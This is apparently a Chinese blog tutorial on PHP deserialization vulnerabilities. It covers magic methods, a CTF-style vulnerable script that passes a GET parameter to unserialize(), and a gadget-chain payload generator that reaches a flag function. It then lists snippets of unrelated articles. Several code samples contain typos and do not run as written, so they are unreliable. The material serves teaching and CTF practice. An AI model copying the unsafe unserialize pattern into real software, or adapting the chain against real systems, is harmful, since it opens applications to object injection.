PHP反序列化漏洞
一、序列化,反序列化
- 序列化:将php对象压缩并按照一定格式转换成字符串过程
- 反序列化:从字符串转换回php对象的过程
- 目的:为了方便php对象的传输和存储
seriallize() 传入参数为php对象,序列化成字符串
unserialize() 传入字符串,反序列化成一个对象
下图,上面是php对象,下面是 序列化结果
强调:序列化的过程,只序列化属性,不序列化函数
二、反序列化攻击
利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击
只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口
魔术方法(以__开头的函数)
1.__construct():
构造函数,当一个对象被实例化时,就会被调用
<?phpclass A{function __construct(){echo "this is a construct function":}}$a = new A();
?>
当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用
2.__destruct():
析构函数,当代码执行结束,对象所占用的空间被回收的时候,回自动调用析构函数
<?phpclass A{function __construct(){echo "this is a construct function";}function __destruct(){echo "this is a destruct function";}}$a = new A();
?>
这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数
3.__sleep():
在对象进行序列化的过程,__sleep()函数将被调用
<?phpclass A{private $test;public $test2;public function __construct($test){$this->test = $test;}public function __sleep(){echo "this is a sleep function";return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称}}$a = new A("Aurora");echo serialize($a);
?>
在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用
4.__wakeup():
wakeup()与sleep()正好相对应
是在反序列化的过程会被调用
当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用
注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法
5.__toString()方法
当出现,把一个字符串当作字符串来使用,就会调用该方法
<?php class A{private $test;'public function __construct($test){$this->test = $test;}function __toString(){$str = "this is a toString function";return $str;}}$a = new A("Aurora");echo $a;
?>
6.__invoke():
当把一个对象当作函数来调用的时候,就会自动调用invoke()方法
<?phpclass A{private $test;public function __construct($test){$this->test = $test;}function __invoke(){echo = "this is a invoke function";}}$a = new A("Aurora");$a(); //$a是一个对象,但却用$a()调用方法的方法使用它
?>
上面$a()就是将对象作为函数来调用的例子
7.__call():
调用对象中不存在的方法,就会调用call函数
<?phpclass A{private $test;public function __construct($test){$this->test = $test;}function _call($funName,$arguments){echo "你所调用的方法:“.$funName."(参数:"; //输出调用不存在的方法名print_r($arguments);echo ")不存在!<br>\n"; //结束换行}$a = new A("Aurora");$a->test('no','this','function'); //可以看到A类中并没有test()方法
?>
三、案例
<!--
class allstart
{public $var1;public $var2;public function __destruct(){$this->var1->test1();}
}
class func1
{public $var1;public $var2;public function test1(){$this->var1->test2();}
}
class func2
{public $var1;public $var2;public function __call($test2,$arr){$s1 = $this->var1;$s1();}
}
class func3
{public $var1;public $var2;public function __invoke(){$this->var2 = "concat string".$this->var1;}
}
class func4
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class toget
{public function get_flag(){ echo "flag{***}";}
}$a=$_GET["string"];
unserialize($a);
反序列化攻击就是制造一条攻击链
将每一个会用到的属性进行赋值,赋值成特定的对象, 后将其进行序列化,得到序列化的字符串作为get参数传入题目中去
<?phpclass allstart{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this->var1=new func1();}public function __destruct(){$this->var1->test1();}}class func1{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this->var1=new func2();}public function test1(){$this->var1->test2();}} class func2{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this->var1=new func3();}public function __call($test2,$arr){$s1 = $this->var1;$s1();}}class func3{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this->var1=new func4();}public function __invoke(){$this->var2 = "concat string".$this->var1;} }class func4{public $str1;public $str2;public function __construct() //只需在每个对象中添加构造函数{$this->str1=new toget();}public function __toString(){$this->str1->get_flag();return "1";}}class toget{public function get_flag(){ echo "flag{***}";}}$a=new allstart(); //这个也要与源码不同echo serialize($a); //将对象序列化
?>
相关文章:
PHP反序列化漏洞
一、序列化,反序列化 序列化:将php对象压缩并按照一定格式转换成字符串过程反序列化:从字符串转换回php对象的过程目的:为了方便php对象的传输和存储 seriallize() 传入参数为php对象,序列化成字符串 unseriali…...
容器编排学习(一)k8s集群管理
一 Kubernetes 1 概述 就在Docker容器技术被炒得热火朝天之时,大家发现,如果想要将Docker应用于具体的业务实现,是存在困难的一一编排、管理和调度等各个方面,都不容易。于是,人们迫切需要一套管理系统࿰…...
js去除字符串空格的几种方式
方法1:(最常用)全部去除掉空格 var str abc d e f g ; function trim(str) { var reg /[\t\r\f\n\s]*/g; if (typeof str string) { var trimStr str.replace(reg,); } console.lo…...
Spring 自带工具——URI 工具UriComponentsBuilder
UriComponentsBuilder 是 Spring Framework 提供的一个实用工具类,用于构建 URI(Uniform Resource Identifier)。URI 是用于标识和定位资源的字符串,例如 URL(Uniform Resource Locator)就是一种特殊的 URI…...
优化案例5:视图目标列改写优化
优化案例5:视图目标列改写优化 1. 问题描述2. 分析过程2.1 目标SQL2.2 解决思路1)效率低的执行计划2)视图过滤性3)查看已有索引定义 2.3 视图改写2.4 增添复合索引 3. 优化总结 DM技术交流QQ群:940124259 1. 问题描述…...
Origin绘制彩色光谱图
成果图 1、双击线条打开如下窗口 2、选择“图案”-》颜色-》按点-》映射-》Wavelength 3、选择颜色映射 4、单击填充-》选择加载调色板-》Rainbow-》确定 5、单击级别,设置成从370到780,右侧增量选择2(越小,颜色渐变越细腻&am…...
项目复盘:从实践中学习
引言 在我们的工作生涯中,每一个项目都是一次学习的机会。项目复盘是对已完成项目的全面评估,旨在理解我们做得好的地方,以及需要改进的地方。这篇文章将分享我们如何进行项目复盘,以及我们从中学到了什么。 项目背景 在我们开…...
机器学习和数据挖掘02-Gaussian Naive Bayes
概念 贝叶斯定理: 贝叶斯定理是概率中的基本定理,描述了如何根据更多证据或信息更新假设的概率。在分类的上下文中,它用于计算给定特征集的类别的后验概率。 特征独立性假设: 高斯朴素贝叶斯中的“朴素”假设是,给定…...
【面试题精讲】Java Stream排序的实现方式
首发博客地址 系列文章地址 如何使用Java Stream进行排序 在Java中,使用Stream进行排序可以通过sorted()方法来实现。sorted()方法用于对Stream中的元素进行排序操作。具体实现如下: 对基本类型元素的排序: 使用sorted()方法对Stream进行排序…...
浅谈Spring
Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器(框架)。 一、什么是IOC? IoC Inversion of Control 翻译成中⽂是“控制反转”的意思,也就是说 Spring 是⼀个“控制反转”的容器。 1.1控制反转推导 这个控制反转怎…...
Java 复习笔记 - 面向对象进阶篇
文章目录 一,Static(一)Static的概述(二)静态变量(三)静态方法(四)工具类(五)static的注意事项 二,继承(一)继…...
微信小程序中识别html标签的方法
rich-text组件 在微信小程序中有一个组件rich-text可以识别文本节点或是元素节点 具体入下: //需要识别的数据放在data中,然后放在nodes属性中即可 <rich-text nodes"{{data}}"></rich-text>详情可以参考官方文档:https://developers.weixin.qq.com/mi…...
02_常见网络层协议的头结构
1.ARP报文的报文结构 ARP首部的5个字段的含义: 硬件类型:值为1表示以太网MAC地址。 协议类型:表示要映射的协议地址类型,0x0800 表示映射为IP地址。 硬件地址长度:在以太网ARP的请求和应答中都是6,表示M…...
ChatGLM学习
GLM paper:https://arxiv.org/pdf/2103.10360.pdfchatglm 130B:https://arxiv.org/pdf/2210.02414.pdf 前置知识补充 双流自注意力 Two-stream self-attention mechanism(双流自注意机制)是一种用于自然语言处理任务的注意力机制…...
Flink之Watermark
1.乱序问题 流处理从事件产生,到流经source,再到operator,中间是有一个过程和时间的,虽然大部分情况下,流到operator的数据都是按照事件产生的时间顺序来的,但是也不排除由于网络、分布式等原因࿰…...
二轮平衡小车3:PID速度环
使用芯片:STM32 F103 C8T6 今日继续我的二路平衡小车开发之路,今日编写的是二轮平衡小车的PID速度环,我准备了纸飞机串口助手软件来辅助测试调节PID。 本文主要贴代码,之前的文章都有原理,代码中相应初始化驱动部分也…...
C语言之练习题
欢迎来到我的世界 希望这篇文章对你有所帮助,有不足的地方还请指正,大家一起学习交流 ! 目录 前言编程题第一题:珠玑妙算第二题:寻找奇数第三题:寻找峰值第四题:数对 总结 前言 这是暑假题目的收尾文章&am…...
没钱,没人,没经验?传统制造型企业如何用无代码实现转型
2023年,国家市场监督管理总局发布了三项重要标准,包括《工业互联网平台选型要求》、《工业互联网平台微服务参考框架》和《工业互联网平台开放应用编程接口功能要求》。这些标准的发布对于完善工业互联网平台标准体系,提升多样化工业互联网平…...
CentOS ARM 部署 kubernetes v1.24.6
1.背景 之前安装的kubernetes版本为v1.19.0 树莓派使用(CentOS7.9 armv71 Kubernetes1.19.0), 由于版本过低,一些HPA相关的功能支持不是特别好,因此需要将版本升级,本次会将版本升级为v1.24.6. 2. 如何upgrade 2.1. 优雅升级 kubeadm自带…...
LeetCode 725. Split Linked List in Parts【链表】中等
本文属于「征服LeetCode」系列文章之一,这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁,本系列将至少持续到刷完所有无锁题之日为止;由于LeetCode还在不断地创建新题,本系列的终止日期可能是永远。在这一系列刷题文章…...
云计算中的负载均衡技术,确保资源的平衡分配
文章目录 1. 硬件负载均衡器2. 软件负载均衡器3. DNS负载均衡4. 内容分发网络(CDN) 🎈个人主页:程序员 小侯 🎐CSDN新晋作者 🎉欢迎 👍点赞✍评论⭐收藏 ✨收录专栏:云计算 ✨文章内…...
探索 SOCKS5 代理在跨境电商中的网络安全应用
随着全球化的发展,跨境电商成为了商业界的一颗新星,为企业提供了无限的发展机遇。然而,随之而来的是网络安全的挑战,特别是在处理国际网络流量时。在这篇文章中,我们将探讨如何利用 SOCKS5 代理和代理 IP 技术来加强跨…...
全网独家:编译CentOS6.10系统的openssl-1.1.1多版本并存的rpm安装包
CentOS6.10系统原生的openssl版本太老,1.0.1e,不能满足一些新版本应用软件的要求,但是它又被wget、mysql-libs、python-2.6.6、yum等一众系统包所依赖,不能再做升级。故需考虑在不影响系统原生openssl的情况下,安装较新…...
【go】异步任务解决方案Asynq实战
文章目录 一.Asynq介绍二.所需工具三.代码示例四.Reference 一.Asynq介绍 Asynq 是一个 Go 库,一个高效的分布式任务队列。 Asynq 工作原理: 客户端(生产者)将任务放入队列服务器(消费者)从队列中拉出任…...
掌握 Android 自动化测试框架 UiAutomator UiAutomator2
掌握 Android 自动化测试框架 UiAutomator & UiAutomator2 一、UiAutomator 简介二、UiAutomator2 的诞生三、UiAutomator2 的应用实践总结你是否曾经在进行 Android 应用开发时,对于如何进行全面、有效的自动化测试感到困惑?你是否想要更高效地进行 UI 测试,而不是一遍…...
c#抽象类(abstract)
概述: C#中的抽象类是一种特殊类型的类,它不能被实例化,只能被继承。抽象类用于提供一个共享的基类,其中定义了一些方法和属性的签名,但没有具体的实现。这些方法和属性可以在派生类中进行实现。 使用抽象类的主要目…...
语义分割实践思考记录(个人备忘录)
一、任务管理器、NVDIA的GPU利用率显示[1][2] 若需要在任务管理器中查看基于Pytorch框架的GPU利用率,那么,我们需要将监控面板监测内容调整为cuda。图一(左)即为英伟达命令行工具面板。 图一 英伟达GPU使用率监控 二、基于混淆矩阵…...
Zebec Protocol 成非洲利比亚展会合作伙伴,并将向第三世界国家布局
在 9 月 6 日,The Digital Asset Summit ’23(利比亚大会)在尼日利亚首度阿布贾的 NAF 会议中心举办,该会议对 Web3 领域在非洲地区的发展进行了探索,旨在推动非洲地区区块链产业的进一步发展,据悉该会议室…...
随机流-RandomAccessFile
RandomAccessFile RandomAccessFile 基本操作案例 RandomAccessFile 基本操作 案例 import java.io.*;public class TestMain09 {public static void main(String[] args) throws Exception {insert("D:\\home\\product\\aa.txt",2,"ni");}public static…...
单例和静态类
C#中的单例(Singleton)和静态类(Static Class)是两种不同的设计模式,它们各自有不同的用途和特点。 单例模式是一种设计模式,它确保一个类只有一个实例,并提供全局访问点。通常,单例…...
网站建设费用包括/百度账号免费注册
移动端参考: 前端UI设计稿对比工具 - chromewebpack插件 PC端UI对比 1、Ps 打开UI设计稿 2、手动截取页面需要对比部分,复制到Ps上进行对比【如果实际截图大小和设计稿大小不一致,但是CSS大小设置确实是设计稿大小,调整浏览器的缩放看看】…...
全国被执行人名单查询/seoul是哪个国家
Android自定义半圆进度条 半圆渐变色进度条带指示 半圆开口大小可自由修改首先我们来看下效果图不同的开口大小只需要修改一个参数即可半圆1:半圆2:半圆3:如果是你想要的效果,就直接滑动到文章底部,下载源码࿰…...
标志在线设计网站/在线生成网站
如果你想要查看logging事件不要忘记设置。 import logging logging.basicConfig(format%(asctime)s : %(levelname)s : %(message)s, levellogging.INFO) 转化接口 在前面的语料和向量空间的教程中,我们创建了一个文档语料,用向量流来表征。接下来&#…...
wordpress-Cosy主题/苏州网站优化排名推广
由于一个中文是两个字符组成,在编码不一致的情况下会引发字符的“重新”组合,(半个汉字的编码字符与后面的字符组合生成新的“文字”)引发原本的结束符合“变异”,从而导致找不到结束符号,使得后面的CSS就会失效。css中出现乱码的…...
app资源网站开发/排名优化公司
1.通用 属性操作 1.对HTML代码的操作 jQuery 对象.html([content]); 如果存在参数content,表示给选中的元素赋上新的内容content;如果不存在参数content,表示获取被选中的元素内容。 2.对文本内容的操作 jQuery 对象.text([content]); …...
仙桃网站制作/谷歌搜索引擎香港免费入口
题目描述 输入n个整数,找出其中最小的K个数。例如输入4,5,1,6,2,7,3,8这8个数字,则最小的4个数字是1,2,3,4,。 对于此题,我觉得使用Java实现的话(所有OJ的代码都是使用Java实现的),实在是没有什么难度&…...